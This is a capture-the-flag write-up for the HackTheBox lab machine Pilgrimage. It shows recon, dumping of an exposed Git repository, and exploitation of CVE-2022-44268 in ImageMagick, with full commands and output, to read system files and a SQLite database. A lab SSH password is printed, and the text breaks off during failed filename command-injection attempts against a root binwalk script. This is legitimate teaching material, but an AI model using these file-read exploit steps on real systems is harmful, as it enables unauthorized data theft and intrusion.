Pilgrimage starts with a website that reduces image size. I’ll find an exposed Git repo on the site, and use it to see it’s using a version of Image Magick to do the image reduction that has a file read vulnerability. I’ll use that to enumerate the host and pull the SQLite database. That database gives a plaintext password that works for SSH. There’s a script run by root that’s monitor file uploads using inotifywait. When there’s a file, it runs binwalk on the file to look for executables. I’ll abuse a vulnerability in binwalk to get execution as root.

Box Info

Name Pilgrimage Pilgrimage
Play on HackTheBox
Release Date 24 Jun 2023
Retire Date 25 Nov 2023
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Pilgrimage
Radar Graph Radar chart for Pilgrimage
First Blood User 00:17:00Embargo
First Blood Root 00:20:33szymex73
Creator coopertim13



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-21 14:25 EST
Nmap scan report for
Host is up (0.092s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.66 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-21 14:44 EST
Nmap scan report for
Host is up (0.092s latency).

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds

Based on the OpenSSH version, the host is likely running Debian 11 bullseye.

Port 80 shows a redirect to pilgrimage.htb. I’ll fuzz for subdomains with ffuf, not find anything, and add this to my /etc/hosts file: pilgrimage.htb

One thing I typically don’t show but always do (or at least try to remember to do) is re-scan the host by domain name with nmap. In this case, there are additional results:

oxdf@hacky$ nmap -p 22,80 -sCV pilgrimage.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-21 15:37 EST
Nmap scan report for pilgrimage.htb (
Host is up (0.093s latency).

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-git: 
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
|_http-server-header: nginx/1.18.0
|_http-title: Pilgrimage - Shrink Your Images
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds

There’s a Git repo on the website. nmap didn’t find that before because the HTTP request to just gets a 301 redirect, no matter the path. But when it’s scanning http://pilgrimage.htb, it finds the repo with the http-git script. I could also find this later with feroxbuster, but the wordlist I typically use doesn’t include .git.

pilgrimage.htb - TCP 80


The website is an image size reduction tool:


If I give it an image and click “Shrink”, it return a URL to the smaller image:


The URl does lead to a smaller version of the uploaded image. Trying to visit /shrunk returns a 403 forbidden.

If I create an account and login, there’s a dashboard (at /dashboard.php) that shows a currently empty table of original files and shrunken urls:


I’ll play with uploading the same picture with different names and the same name:


The new image name seems to change for each upload, even if the image or image name are the same. It also always starts with 655c, which implies that it’s not a hash that’s making the name.

Tech Stack

The HTTP response headers don’t give much additional information beyond that it’s nginx as identified by nmap:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Nov 2023 12:13:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 7624

The site is clearly PHP based on the extensions of the pages.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u http://pilgrimage.htb -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
 🎯  Target Url            │ http://pilgrimage.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Management Menu™
404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l        9w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      198l      494w     7621c http://pilgrimage.htb/
301      GET        7l       11w      169c http://pilgrimage.htb/tmp => http://pilgrimage.htb/tmp/
302      GET        0l        0w        0c http://pilgrimage.htb/logout.php => http://pilgrimage.htb/
200      GET      171l      403w     6173c http://pilgrimage.htb/register.php
200      GET      171l      403w     6166c http://pilgrimage.htb/login.php
301      GET        7l       11w      169c http://pilgrimage.htb/assets => http://pilgrimage.htb/assets/
200      GET      198l      494w     7621c http://pilgrimage.htb/index.php
301      GET        7l       11w      169c http://pilgrimage.htb/assets/js => http://pilgrimage.htb/assets/js/
301      GET        7l       11w      169c http://pilgrimage.htb/assets/css => http://pilgrimage.htb/assets/css/
301      GET        7l       11w      169c http://pilgrimage.htb/assets/images => http://pilgrimage.htb/assets/images/
302      GET        0l        0w        0c http://pilgrimage.htb/dashboard.php => http://pilgrimage.htb/login.php
301      GET        7l       11w      169c http://pilgrimage.htb/vendor => http://pilgrimage.htb/vendor/
301      GET        7l       11w      169c http://pilgrimage.htb/vendor/jquery => http://pilgrimage.htb/vendor/jquery/
404      GET        0l        0w      153c http://pilgrimage.htb/assets/domaincheck.php
404      GET        0l        0w      153c http://pilgrimage.htb/landing-page-4
404      GET        0l        0w      153c http://pilgrimage.htb/assets/images/news6.php
404      GET        0l        0w      153c http://pilgrimage.htb/vendor/javeabenitachell.php
[####################] - 4m    240000/240000  0s      found:17      errors:2682   
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/tmp/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/assets/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/assets/js/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/assets/css/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/assets/images/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/vendor/ 
[####################] - 4m     30000/30000   106/s   http://pilgrimage.htb/vendor/jquery/ 

/tmp is interesting, but visiting just gets a 403 forbidden.

Shell as emily

Get Git Repo

git-dumper is a nice tool for pulling Git repos from websites. It installs with pipx install git-dumper. I’ll create a directory for the results to go to, and then run it against Pilgrimage:

oxdf@hacky$ git-dumper http://pilgrimage.htb git
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/description [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/objects/info/packs [404]
[-] http://pilgrimage.htb/.git/objects/info/packs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://pilgrimage.htb/.git/index [200]
[-] Fetching http://pilgrimage.htb/.git/info/exclude [200]
[-] Finding refs/
[-] Fetching http://pilgrimage.htb/.git/FETCH_HEAD [404]
[-] http://pilgrimage.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/ORIG_HEAD [404]
[-] http://pilgrimage.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/config [200]
[-] Fetching http://pilgrimage.htb/.git/info/refs [404]
[-] http://pilgrimage.htb/.git/info/refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/logs/refs/stash [404]
[-] http://pilgrimage.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/packed-refs [404]
[-] http://pilgrimage.htb/.git/packed-refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/HEAD [404]
[-] Fetching http://pilgrimage.htb/.git/refs/heads/master [200]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/stash [404]
[-] http://pilgrimage.htb/.git/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master responded with status code 404                                          
[-] Fetching http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://pilgrimage.htb/.git/objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b6/c438e8ba16336198c2e62fee337e126257b909 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/49/cd436cf92cc28645e5a8be4b1973683c95c537 [200]                                         
[-] Fetching http://pilgrimage.htb/.git/objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8a/62aac3b8e9105766f3873443758b7ddf18d838 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e1/a40beebc7035212efdcb15476f9c994e3634a7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/11/dbdd149e3a657bc59750b35e1136af861a579f [200]
[-] Fetching http://pilgrimage.htb/.git/objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/3565452792f19d2cf2340266dbecb82f2a0571 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/5f/ec5e0946296a0f09badeb08571519918c3da77 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b2/15e14bb4766deff4fb926e1aa080834935d348 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/76/a559577d4f759fff6af1249b4a277f352822d5 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/88/16d69710c5d2ee58db84afa5691495878f4ee1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/dc/446514835fe49994e27a1c2cf35c9e45916c71 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/36/c734d44fe952682020fd9762ee9329af51848d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8f/155a75593279c9723a1b15e5624a304a174af2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/98/10e80fba2c826a142e241d0f65a07ee580eaad [200]
[-] Fetching http://pilgrimage.htb/.git/objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ca/d9dfca08306027b234ddc2166c838de9301487 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548 [200]
[-] Running git checkout .

It downloads the .git folder, which contains all the metadata about the repo and the files in it, including what all the files content was at the last commit. The last line runs git checkout . in the directory, which effectively resets the directory back to the last commit, creating all those files.

oxdf@hacky$ ls git/
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor


Source Code Analysis

The POST requests with images go to index.php. It takes the POST and creates a file object, saving it in /tmp:

  $image = new Bulletproof\Image($_FILES);
  if($image["toConvert"]) {
    $image->setSize(100, 4000000);
    $upload = $image->upload();

Then it takes the result and greats a new file name from uniqid (which is just a unique ID based on time in PHP):

    if($upload) {
      $mime = ".png";
      $imagePath = $upload->getFullPath();
      if(mime_content_type($imagePath) === "image/jpeg") {
        $mime = ".jpeg";
      $newname = uniqid();

Then it runs magick to convert it by shrinking it by 50% and deletes the original file:

      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);

If the user is logged in it saves the new path and original path to the DB:

      $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
      if(isset($_SESSION['user'])) {
        $db = new PDO('sqlite:/var/db/pilgrimage');
        $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
      header("Location: /?message=" . $upload_path . "&status=success");

Identify CVE

There’s a copy of magick in the repo, and it is an executable:

oxdf@hacky$ file magick 
magick: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9fdbc145689e0fb79cb7291203431012ae8e1911, stripped

It will also run:

oxdf@hacky$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

Searching for this version finds a bunch of references for CVE-2022-44268:


The issue is in how the text string “profile” is handled by ImageMagick. This post from metabaseq does a really nice job with details, and offers this high level description:

A malicious actor could craft a PNG or use an existing one and add a textual chunk type (e.g., tEXt). These types have a keyword and a text string. If the keyword is the string “profile” (without quotes) then ImageMagick will interpret the text string as a filename and will load the content as a raw profile. If the specified filename is “-“ (a single dash) ImageMagick will try to read the content from standard input potentially leaving the process waiting forever.

In ImageMagick, a profile refers to a set of color management settings that define how colors are represented and handled in an image. Color management is important because different devices (such as cameras, monitors, and printers) may interpret and reproduce colors differently. Profiles help ensure consistent and accurate color representation across various devices.

POC Exploit


There are many POC scripts out there, but I prefer to do it manually This Github page has steps for doing so. I’ll start with a generic PNG, and use pngcrush to add the profile string:

oxdf@hacky$ pngcrush -text a "profile" "/etc/hosts" poc.png
  Recompressing IDAT chunks in poc.png to pngout.png
   Total length of data found in critical chunks            =     21089
   Best pngcrush method        =   6 (ws 15 fm 6 zl 9 zs 0) =     20070
CPU time decode 0.004922, encode 0.052924, other 0.001132, total 0.059650 sec

This creates a new file, pngout.png, which has the metadata in the tEXt section:

oxdf@hacky$ exiv2 -pS pngout.png 
 address | chunk |  length | data                           | checksum
       8 | IHDR  |      13 | .......z....                   | 0x727a55a2
      33 | gAMA  |       4 | ....                           | 0x0bfc6105
      49 | cHRM  |      32 | ..z&..............u0...`..:..  | 0x9cba513c
      93 | bKGD  |       6 | ......                         | 0xa0bda793
     111 | tIME  |       7 | .......                        | 0x9208ee1c
     130 | IDAT  |   20013 | x.....%.U.Z.N..n..&j...A3....a | 0x73423cfd
   20155 | tEXt  |      37 | date:create.2023-05-15T20:26:1 | 0x2850565c
   20204 | tEXt  |      37 | date:modify.2023-05-15T20:26:1 | 0x590deee0
   20253 | tEXt  |      18 | profile./etc/hosts             | 0xc560a843
   20283 | IEND  |       0 |                                | 0xae426082

exiftool will show it as well:

oxdf@hacky$ exiftool pngout.png
ExifTool Version Number         : 12.40
File Name                       : pngout.png
Profile                         : /etc/hosts
Image Size                      : 183x122
Megapixels                      : 0.022

I’ll submit this to the site, and download the resulting file:

oxdf@hacky$ wget http://pilgrimage.htb/shrunk/655cd80f631f0.png    
--2023-11-21 11:17:16--  http://pilgrimage.htb/shrunk/655cd80f631f0.png                                  
Resolving pilgrimage.htb (pilgrimage.htb)...                                                
Connecting to pilgrimage.htb (pilgrimage.htb)||:80... connected.
HTTP request sent, awaiting response... 200 OK   
Length: 7525 (7.3K) [image/png]                     
Saving to: ‘655cd80f631f0.png’                                                                           
655cd80f631f0.png          100%[=====================================>]   7.35K  --.-KB/s    in 0s      
2023-11-21 11:17:17 (812 MB/s) - ‘655cd80f631f0.png’ saved [7525/7525]

identify -verbose will show the resulting metadata, where the file is in the profile section:

oxdf@hacky$ identify -verbose 655cd80f631f0.png                    
  Filename: 655cd80f631f0.png
  Format: PNG (Portable Network Graphics)           
  Mime type: image/png
  Class: DirectClass
    Raw profile type: 


That hex is the file that was read, and can be decoded many ways:

oxdf@hacky$ echo "3132372e302e302e31096c6f63616c686f73740a3132372e302e312e310970696c6772696d6167652070696c6772696d6167652e6874620a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3120202020206c6f63616c686f7374206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666630323a3a31206970362d616c6c6e6f6465730a666630323a3a32206970362d616c6c726f75746572730a" 
> | xxd -r -p       localhost       pilgrimage pilgrimage.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


This repo has a nice Python version of the exploit. I run it once to create a malicious image, and then again pointing at the image on the site to get the results:

oxdf@hacky$ python CVE-2022-44268.py --image poc.png --file-to-read /etc/hosts --output pngout.png
oxdf@hacky$ python CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/655cda5792e0d.png       localhost       pilgrimage pilgrimage.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Enumerate File System

Home Directories

I’ll start by checking the users on the box in the /etc/passwd file:

oxdf@hacky$ python CVE-2022-44268/CVE-2022-44268.py --image poc.png --file-to-read /etc/passwd --output pngout.png
oxdf@hacky$ python CVE-2022-44268/CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/655cdab09c70e.png
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

I’ll try to grab SSH keys for emily, but fail. There’s no other user where it seems reasonable that they might have a .ssh directory based on their home directories.


The source code shows that the site is running off a SQLite database. For example, in login.php:

  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");

I’ll try to grab that file:

oxdf@hacky$ python CVE-2022-44268.py --image poc.png --file-to-read /var/db/pilgrimage --output pngout.png
oxdf@hacky$ python CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/655cdbb27cce4.png
Traceback (most recent call last):
  File "/media/sf_CTFs/hackthebox/pilgrimage-", line 48, in <module>
  File "/media/sf_CTFs/hackthebox/pilgrimage-", line 17, in main
    decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped).decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xaf in position 27: invalid start byte

That makes sense, as it’s binary data and the script seems to be expecting only ASCII text.

I could manually get the data out of the file. I’ll download the file from the site, and with a little playing around with grep, I can isolate just the lines with the hex data, and then use xxd to convert it back to binary:

oxdf@hacky$ identify -verbose 655cdbb27cce4.png | grep -Pv "^( |Image)"  | xxd -r -p > pilgrimage.sqlite
oxdf@hacky$ file pilgrimage.sqlite
pilgrimage.sqlite: SQLite 3.x database, last written using SQLite version 3034001, file counter 943, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 943

Database Enumeration

I’ll open the database with sqlite3:

oxdf@hacky$ sqlite3 pilgrimage.sqlite 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.

There are two tables:

sqlite> .tables
images  users

The images table doesn’t look interesting, but the users table does:

sqlite> .schema users
sqlite> .schema images

There’s only a single user (mine must have been cleaned out):

sqlite> select * from users;


emily is a user on Pilgrimage (from the /etc/passwd file). This password works to connect over SSH:

oxdf@hacky$ sshpass -p abigchonkyboi123 ssh emily@pilgrimage.htb
Warning: Permanently added 'pilgrimage.htb' (ED25519) to the list of known hosts.
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

And read user.txt:

emily@pilgrimage:~$ cat user.txt

Shell as root


General Privilege Checks

emily cannot run sudo on Pilgrimage:

emily@pilgrimage:~$ sudo -l 
[sudo] password for emily: 
Sorry, user emily may not run sudo on pilgrimage.

I’ll look for SetUID / SetGID binaries owned by other users, but not find anything interesting.


The running processes show a few interesting things:

emily@pilgrimage:~$ ps auxww
root           1  0.0  0.2 163928 10144 ?        Ss   Nov09   1:00 /sbin/init
root         765  0.0  0.0   6816  2844 ?        Ss   Nov09   0:00 /bin/bash /usr/sbin/malwarescan.sh
root         766  0.0  0.0      0     0 ?        S    Nov09   0:00 [hwmon1]                    
root         771  0.0  0.6 209752 27736 ?        Ss   Nov09   1:07 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root         773  0.0  0.1 220796  6840 ?        Ssl  Nov09   0:00 /usr/sbin/rsyslogd -n -iNONE 
root         775  0.0  0.0   2516   720 ?        S    Nov09   0:00 /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root         776  0.0  0.0   6816  2288 ?        S    Nov09   0:00 /bin/bash /usr/sbin/malwarescan.sh

root is running /usr/sbin/malwarescan.sh. There’s also a inotifywait process running that’s watching for files to be created in the /var/www/pilgrimage.htb/shrunk directory. inotifywait is a way to trigger a process whenever some event happens on the filesystem.



The script is a Bash script and is responsible for the inotifywait command:


blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"

It’s watching for file creations in the shrunk directory, and using binwalk to look for any executables in the files.


To understand how the script works, I’ll get two SSH sessions. In the first, I’ll run inotifywait to watch for events in /dev/shm with inotifywait -m -e create /dev/shm. Then in another, I’ll write a file:

emily@pilgrimage:~$ echo "test" > /dev/shm/0xdf_was_here.txt

In the first one, a line comes out:

emily@pilgrimage:~$ inotifywait -m -e create /dev/shm
Setting up watches.
Watches established.
/dev/shm/ CREATE 0xdf_was_here.txt

So the script is using sed to remove the stuff up to “CREATE “, leaving just the filename.


The next part of the script runs binwalk on the file. I’ll upload an image and try it to see what the results look like:

emily@pilgrimage:/dev/shm$ binwalk -e lego.png 

0             0x0             PNG image, 183 x 122, 8-bit/color RGB, non-interlaced
138           0x8A            Zlib compressed data, best compression

On my own computer, I can try it on a Windows exe:

oxdf@hacky$ binwalk -e /opt/nc.exe/nc64.exe 

0             0x0             Microsoft executable, portable (PE)
35573         0x8AF5          mcrypt 2.5 encrypted data, algorithm: "lsGetValue", keysize: 886 bytes, mode: "U",
38408         0x9608          Object signature in DER format (PKCS header length: 4, sequence length: 6856
38557         0x969D          Certificate in DER format (x509 v3), header length: 4, sequence length: 1037
39598         0x9AAE          Certificate in DER format (x509 v3), header length: 4, sequence length: 1050
40652         0x9ECC          Certificate in DER format (x509 v3), header length: 4, sequence length: 1070
41726         0xA2FE          Certificate in DER format (x509 v3), header length: 4, sequence length: 1105
42835         0xA753          Certificate in DER format (x509 v3), header length: 4, sequence length: 1235

This would trigger the scanner, as it contains the string “Microsoft executable”.

Command Injection [Fail]

Failed Attempts

My first thought was that this script must be vulnerable to command injection. If I control the filename, then I should be able to inject either on the filename= line or in the binout= line.

It seems like having a filename with $() or a command between ; ; should work, but it doesn’t. It turns out that Bash is actually good at preventing command injection.

